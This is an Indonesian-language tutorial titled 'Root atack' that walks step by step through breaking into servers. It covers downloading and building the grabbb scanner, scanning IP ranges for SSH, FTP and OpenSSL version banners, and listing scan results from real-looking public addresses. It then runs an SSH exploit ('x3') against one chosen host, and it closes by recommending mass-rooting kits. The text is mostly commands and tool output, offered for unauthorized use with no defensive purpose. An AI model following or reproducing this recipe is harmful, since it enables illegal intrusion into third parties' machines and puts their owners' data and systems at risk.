Root atack

lebih lanjut...
1. download scanning http://xvak-1.150m.com/tool/grabbb-0.1.0.tar.gz
2. tar -zxvf grabbb-0.1.0.tar.gz dan make , maka akan kmu dapati file grabbb.
3. cara penggunaan grabbb :
a. ketik ./grabbb maka akan ada help nya
b. klo saya biasanya ./grabbb -a xxx.xxx.xxx.0 -b xxx.xxx.xxx.255 port <== port disini
terserah kmu mau berapa, bisa 21, 22, 23, 443, 80, 8080
- klo kita scan port 21 maka akan keliatan versi wuftpd
- klo kita scan port 22 maka akan keliatan versi ssh
- klo kita scan port 443 maka akan keliatan versi openssl

berikut contoh ssh:
66.1.198.210:22: SSH-1.99-OpenSSH_2.5.2p2
66.1.205.138:22: SSH-1.99-OpenSSH_2.9p2
66.1.213.59:22: SSH-1.5-1.2.27
66.1.214.123:22: SSH-1.99-OpenSSH_2.9p2
66.1.217.77:22: SSH-1.5-1.2.25

setelah kita tau ssh yang dipake, tinggal menjalankan exploitnya

4. download x2, x3, x4 dst tergantung kmu mau pake yang mana, pake semua juga bisa
sebagai contoh pemakaian saya pake x3.tar.gz
5. ./x3 -t 0

Targets:
( 1) Small - SSH-1.5-1.2.26
( 2) Small - SSH-1.5-OpenSSH-1.2.3
( 3) Small - SSH-1.5-1.2.31
( 4) Small - SSH-1.5-1.3.07
( 5) Small - SSH-1.99-OpenSSH_2.1.1
( 6) Small - SSH-1.5-1.3.6_F-SECURE_SSH
( 7) Small - SSH-1.5-1.2.27
( 8) Small - SSH-1.99-OpenSSH_2.2.0p1
( 9) Big - SSH-1.99-OpenSSH_2.2.0p1
(10) Big - SSH-1.5-1.2.27
(11) Small - SSH-1.99-OpenSSH_2.2.0p1 -TEST
(12) Big - SSH-1.5-1.2.27

6. klo kita liat hasil dari grabbb, maka kita mendapat satu ip yaitu
66.1.213.59:22: SSH-1.5-1.2.27

7. kita coba ./x3 -t 7 66.1.213.59 22 .

nah itu uah dapat, terserah mau diapakan

keterangan:
ngeroot menggunakan exploit ini sangatlah memakan waktu, saya menyarankan utk memakai scan massal, bisa memakai massplo.tar.gz atau massrooter.tar.gz sama saja.

tapi yang terpenting disini kita tau bagaimana cara mencari dia memakai ssh versi berapa, wuftp versi berapa, dan yang lain-lain
